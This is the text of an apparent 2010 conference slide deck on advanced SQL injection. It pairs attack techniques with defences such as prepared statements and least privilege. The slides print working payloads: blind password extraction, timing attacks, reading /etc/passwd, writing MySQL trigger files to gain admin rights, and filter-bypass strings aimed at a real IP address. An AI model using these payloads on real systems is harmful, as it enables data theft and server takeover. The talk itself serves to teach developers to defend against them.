advanced sql injection: attacks
DESCRIPTION
Show the reader the potential damage that a SQL injection vulnerability can make. Show evading techniques to some filters. Show some common mistakes that the programmers make when protecting their sites. Show the best practices to protect your code.TRANSCRIPT
Codebits 2010Advanced SQL injection:
Attacks & Defenses12/11/2010
SAPO Websecurity Team
Summary
2
• Mo:va:on• Objec:ves• What is SQLi?• ABack using Tautologies• ABack using union query• Blind Injec:on• Timing ABacks• Second Order SQLi• File System Access• Piggy-‐backed Queries• Use of SELECT to INSERT or UPDATE• Common Mistakes while Protec:ng
• Int queries• Blacklist Approach
• Best Prac:ces• Prepared Statements• Escaping/Valida:ng Input
• Codebits Security Quiz
Summary:
SAPO Websecurity Team SAPO Codebits 2010
Motivation
3
OWASP Top10 Applica=on Security Risks
SAPO Websecurity Team SAPO Codebits 2010
Objectives
4
•Awareness: • This is a real problem and it’s dangerous
•How to protect your code: • There are good and bad protec:ons.
Two Objec=ves:
SAPO Websecurity Team SAPO Codebits 2010
SQLi > What is it?
5
• SQL Injec:on vulnerabili:es are introduced when so[ware developers use unstrusted data in the construc:on of dynamic SQL queries
What is it?
Example of Vulnerable query:
Impact of SQLi:
• Data loss or corrup:on• Data leakage • DoS• Some:mes can lead to complete host takeover• Reputa:on can be harmed.
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Example of Attack using Tautologies
6
Example of Vulnerable code:
AQack:• hBp://vuln.example/login?username=x’ or 1=1 limit 0,1-‐-‐ -‐
Query executed:• SELECT id,group,full_name FROM users WHERE username=’x’ or 1=1 limit 0,1
Query returns the first row of table users, thus you’ll login with that user and see his full name
SAPO Websecurity Team SAPO Codebits 2010
SQLi > More Advanced Attack using union queries
7
Example of Vulnerable code:
AQack:• hBp://vuln.example/login?username=x’ and 1=0 union select null,null,table_name from informa:on_schema.tables limit 30,1-‐-‐ -‐
Query executed:• SELECT id,group,full_name FROM users WHERE username=’x’ and 1=0 union select null,null,table_name from informa:on_schema.tables limit 30,1
• You can use the UNION to find the number of columns in the query (or ORDER BY)• You use the 3rd column of the query (full_name) to dump informa:on from the db...• You can also use CONCAT() to retrieve several fields as one field
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Blind injection
8
... but some:mes you are not that lucky. Some:mes the only informa:on you can get is a binary result -‐ true or false, 1 or 0, error or no-‐error. That is called a Blind SQLi.
Imagine that the following URL is vulnerable to a blind SQLi:• hQp://vuln.example.com/news.php?id=12
Trying to guess the table name:• id=5 union all select 1,2,3 from admin /* Returns an error if table admin does not exist */
Trying to guess the column names:• id=5 union all select 1,2,passwd from admin /* Returns an error if column passwd does not exist */
Extract ‘username:passwd’ from table (char by char):• id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>64 /* ret true */• id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>96 /* ret true */• id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>100 /* ret false */• id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>97 /* ret false */ (....)• id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),2,1))>64 /* ret true */ (...)
Don’t worry, you have tools to automa:ze this...
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Get around blind SQLi > sqlmap
9
sqlmap can save you a lot of :me when exploi:ng a blind SQL injec:on. There are a lot of other powerful op:ons at your disposal as well...
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Some Stats
10
But wait, is this a common problem? YES!
According to exploit-‐db.com, in the past 3 months they reported:
• 190 SQLi vulnerabili:es in popular Web Applica=ons, •40 were blind SQLi•36 were in Joomla Components
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Some Stats
11
To get this stats, I was searching for the string “sql injec:on”...
.. and I no:ced that the results page was broken, so I tried to exploit it and found it was vulnerable to XSS.
I reported the vulnerability and it was fixed within 10 minutes.
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Timing attacks
12
Some:mes you don’t even get a True/False or Error/Non-‐Error response. In those cases you need to use a Timing aBack
A real example -‐ LightNEasy CMS 3.2.1:
handle=" UNION SELECT IF(SUBSTRING(password,1 ,1) = CHAR(98), BENCHMARK(10000000, ENCODE('Slow','Down')), null),2,3,4,5,6,7,8,9,10,11 FROM lne_users WHERE id="1&password=&do=login&=Login
POST Data:
If the first character of the admin hash is b, the query will take around 5 seconds to execute
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Timing attacks
13
BENCHMARK() is MySQL-‐specific, but you have alterna:ve func:ons in other DBMS
MySQLBENCHMARK(10000000,md5(1)) or SLEEP(5)
PostgreSQLPG_SLEEP(5) or GENERATE_SERIES(1,1000000)
MS SQL Server WAITFOR DELAY ‘0:0:5’
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Second Order SQLi
14
• Create an user: EveMalory’ OR user=‘admin
• User logs in
• A[er logging in, the script queries for user’s info based on the retrieved username: SELECT user, password, full_name, age, homepage, gender FROM users WHERE user=‘EveMalory’ OR user=‘admin’
• EveMalory does not exist, thus we’ll read admin’s info.
What is it?When the aBacker is able to insert malicious input that does no harm to the query in the page but will exploit a vulnerability in another page that reads that malicious input to query the database
Example:
SAPO Websecurity Team
SQLi > File System Access
15
MySQL requirements: FILE privileges -‐> Have your ever typed “grant all privileges...”?
1-‐ Inject a LOAD_FILE() call using your favorite SQLi technique.... union select 1,1, LOAD_FILE('/etc/passwd'),1,1;
2-‐ Get the LOAD_FILE() output.-‐ 5000 chars limit if abusing a varchar column-‐ early char truncate if forcing SQL errors-‐ binary content
If you have piggy-‐backed queries (and CREATE TABLE privileges)-‐ create a support table-‐ redirect LOAD_FILE() to other file using INTO DUMPFILE, but hex encoded-‐ read the second file with LOAD DATA INFILE to the support table-‐ read the support table with standard SQLi
CREATE TABLE potatoes(line BLOB);UNION SELECT 1,1, HEX(LOAD_FILE('/etc/passwd')),1,1 INTO DUMPFILE ‘/tmp/potatoes’;LOAD DATA INFILE '/tmp/potatoes' INTO TABLE potatoes;
Read Access
SAPO Websecurity Team
SQLi > File System Access
16
MySQL requirements: FILE privileges
1-‐ Use INTO DUMPFILE through union or piggy-‐backed SQLi
Limita:ons-‐ limits on GET parameters length-‐ INTO DUMPFILE does now append data
Again, if you have piggy-‐backed queries-‐ create a support table-‐ INSERT first chunk of the file into the table-‐ using UPDATE, CONCAT the other chunks to the first one-‐ write the file with SELECT INTO DUMPFILE
Write Access
SAPO Websecurity Team
SQLi > File System Access
17
MySQL requirements: FILE and INSERT privileges, and piggy-‐backed queries
Using User Defined Func:ons (UDF)-‐ func:ons created from shared libraries on the system to be used in SELECT statements
CREATE FUNCTION f_name RETURNS INTEGER SONAME shared_library
-‐ Fingerprint you target-‐ DMBS, version and host OS-‐ with that find out the shared libraries paths
-‐ Create a shared library locally, built with the headers of the target-‐ include either the sys_eval() or sys_exec() func:on
-‐ Upload the cra[ed shared library to the shared libraries path-‐ Create the UDF-‐ Execute the OS command using the sys_*() func:ons
Opera=ng System Command Execu=on
SAPO Websecurity Team
SQLi > File System Access
18
MS SQL Server is our friend
-‐ xp_cmdshell() procedure-‐ executes commands on the host OS-‐ returns the command output-‐ newest versions have it disabled, but...
-‐ create a support table-‐ execute xp_cmdshell() and redirect output to a temporary file-‐ read the file into the support table using BULK INSERT-‐ SQLi the support table-‐ clean up :)
-‐ use xp_cmd_shell() to delete temporary file-‐ delete the support table
or, if you don’t care about the output
-‐ execute xp_cmdshell()
Opera=ng System Command Execu=on
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Piggy-backed queries
19
So, what can we do if MySQL and PHP/ASP is being used and we want to insert or update data?
SQL Server MySQL PostgreSQL
ASP
ASP.NET
PHP
The ability to use the vulnerability to insert a second query
SELECT user, password from users where id=2; drop table users
What is it?
Example (user input in bold):
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Use of SELECT to INSERT or UPDATE
20
• Found by Stefano Di Paola from Minded Security
• MySQL specific
• Requires FILE privileges
• The idea is to abuse Triggers to insert or update data
• One interes:ng property about MySQL Triggers is that they are stored in text files :-‐)
• Works whether the DBMS is hosted on the same or on a different server
• The only problem is that, based on my tests, MySQL needs to be restarted a[er the aBack
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Use of SELECT to INSERT or UPDATE
21
$ cat /opt/local/var/db/mysql5/test/utu.TRN:TYPE=TRIGGERNAMEtrigger_table=users
$ cat /opt/local/var/db/mysql5/test/users.TRG:TYPE=TRIGGERStriggers='CREATE DEFINER=`root`@`localhost` trigger utu before insert on users for each row set NEW.groupid=\'admin\''sql_modes=0definers='root@localhost'client_cs_names='la:n1'connec:on_cl_names='la:n1_swedish_ci'db_cl_names='la:n1_swedish_ci'
mysql> create trigger utu before insert on users for each row set NEW.groupid='admin'; Query OK, 0 rows affected (0.57 sec)
How to create a Trigger to update the table users to set the groupid as admin when a new user is created?
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Use of SELECT to INSERT or UPDATE
22
mysql> select username from users where id=3 and 1=0 union select 'TYPE=TRIGGERS' into ouKile '/opt/local/var/db/mysql5/test/users.TRG' LINES TERMINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger utu before insert on users for each row set NEW.groupid=\\\'admin\\\'\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs_names=\'laXn1\'\nconnecXon_cl_names=\'laXn1_swedish_ci\'\ndb_cl_names=\'laXn1_swedish_ci\'\n';Query OK, 1 row affected (0.06 sec)
mysql> select username from users where id=3 and 1=0 union select 'TYPE=TRIGGERNAME' into ouKile '/opt/local/var/db/mysql5/test/utu.TRN' LINES TERMINATED BY '\ntrigger_table=users\n';Query OK, 1 row affected (0.03 sec)
How can we take advantage of a SQLi to create the trigger?
We can use INTO OUTFILE to write the trigger files:
/opt/local/var/db/mysql5/test/users.TRG:
/opt/local/var/db/mysql5/test/utu.TRN:
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Wrong Protections
23
Common Mistakes When Protec=ng your Code
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Wrong Protections > Int values
24
Some folks say that escaping user input is enough (‘ , “ , \r, \n, NUL and Control-‐Z) to prevent SQLi, but is it?
Imagine the following query string from user.php which displays the name of the user :
Is this vulnerable to SQLi?
What if I enter the following URL:• hQp://vuln.example.com/user.php?id=12 AND 1=0 union select 1,concat(user,0x3a,password),
3,4,5,6 from mysql.user where user=substring_index(current_user(),char(64),1)
mysql_real_escape_string() will not escape any character because there isn’t any to be escaped, therefore root:*31EFD0D03381795E5B770791D7A56CCD379F1141 will be output to the screen
The query result is the following:
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Wrong Protections > Alternate Encodings
25
• Consider the GBK Chinese unicode charset• Let’s take a look at some characters:
0x 5c = \ 0x 27 = ʼ 0x bf 27 = ¿ʼ 0x bf 5c = 縗
db interprets as 2 chars
db interprets as a single chinese char
• Imagine that you use addslashes() to escape input in your code
• If aBacker inputs ¿' or 1=1 , the string becomes ¿\' (0xbf5c27)
• But 0xbf5c is the chine char 縗, thus the resul:ng string is interpreted as 縗‘ OR 1=1
• In case you haven’t no:ced, you just bypassed the escaping func:on
I found this in a Quiz for a Security course from a popular University:
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Wrong Protections > Blacklist filtering
26
• Blacklists, i.e filter out some chars or expressions, is not a good prac:ce
• Imagine that you filter the following from user input:• Spaces• Quotes (“ and ‘)• Some SQL keywords (like where)
You shall not use spaces:SELECT/**/passwd/**/from/**/user or SELECT(passwd)from(user)
You shall not use quotes:SELECT passwd from users where user=0x61646D696E (hex for admin)
You shall not use the where keyword: You can use HAVING and IF() and ORDER BY
You get the idea...
SAPO Websecurity Team SAPO Codebits 2010
SQLi > How to Protect against SQLi?
27
Two main defenses:
• Prepared Statements / Parameterized Queries
• Escaping/Valida:ng Input
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Protect against SQLi > Prepared Statements
28
Prepared Statements:• Prepared statements keep the query structure and query data separated through the use of placeholders known as bound parameters. The developer must then set values for the placeholders.
• Prepared statements ensure that an aBacker is not able to change the intent of a query, even if SQL commands are inserted by an aBacker
Example:
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Protect against SQLi > Escaping/Validating INPUT
29
• If Prepared Statements are not possible you should Escape and Validate user input
• You can also use this technique in addi:on to prepared statements
If you know what input you are expec:ng you can validate it:
• If you are expec:ng integers cast the input to integer or use PHP’s intval()• If you are expec:ng an email address you can use a regexp to validate it• If you are expec:ng the user’s name it’s not so simple (because of the ‘)
Escape all the user input:
• Each programming language has its own func:ons or methods• in PHP you can use addslashes() (with cau:on)• If possible use the DBMS specific escaping func:on (e.g. mysql_real_escape_string())
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Protect against SQLi > Other
30
• Create a specific database user to be used exclusively by your Web App
• Only grant the user with the necessary privileges (exclude file, drop, create, etc from the list)
• Limit the access to the database to localhost only (if possible) or to the Web
frontends
• SET THE DBMS ROOT’S PASSWORD! (seriously)
• Use strong passwords in your DBMS for root and all other users
Other important recommenda=ons:
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Codebits Security Quiz
31
Codebits Security Quiz
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Codebits Security Quiz
32
The last step of the Security Quiz was a SQLi injec:on in the field username:
• The field username was being filtered using a blacklist approach (bad idea, now you know!)
• What was filtered?• whitespaces• Quotes (‘ and “)• Slashes (\ and /)• null, where, limit, benchmark• into, file, case• some comments (-‐-‐ and /*)
• Before the authen:ca:on process the script was vulnerable to a blind SQLi
• A[er the authen:ca:on process it was just a regular SQLi• The table had five columns: id, username, password, full_name and homepage
The Facts:
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Codebits Security Quiz
33
• Pass authentication: http://194.65.94.54/cb/index.php?Password=x&username=(1)or(1)=(1)
• Find database: http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select(1),database())%23
• Find table: http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select(table_schema),(table_name)from(information_schema.tables)having((table_schema)=(0x6362697473627265616B6462)))%23
• Find 1st column from table: http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select(table_name),(column_name)from(information_schema.columns)having((table_name)=(0x7573657273)))%23
• Find last column from table: http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select(table_name),(column_name)from(information_schema.columns)having((table_name)=(0x7573657273)%26%26(column_name)!=(0x6964)%26%26(column_name)!=(0x66756C6C5F6E616D65)%26%26(column_name)!=(0x70617373776F7264)))%23
• Extract the URL: http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select(id),(homepage)from(users)having((id)=(3)))
So, let’s see how we can circumvent the filter:
SAPO Websecurity Team SAPO Codebits 2010
SQLi
34
Thank you!Ques=ons?
Nuno Loureiro <[email protected]>Tiago Mendo <:[email protected]>
SAPO Websecurity Team SAPO Codebits 2010
SQLi > References
35
• hQp://websec.wordpress.com/
• hQp://blog.mindedsecurity.com/
• hQp://www.webappsec.org/
• hQp://www.owasp.org/
• Advanced SQL injec=on to opera=ng system full control, Bernardo Damele Guimarães, 2009
Websites:
Whitepaper: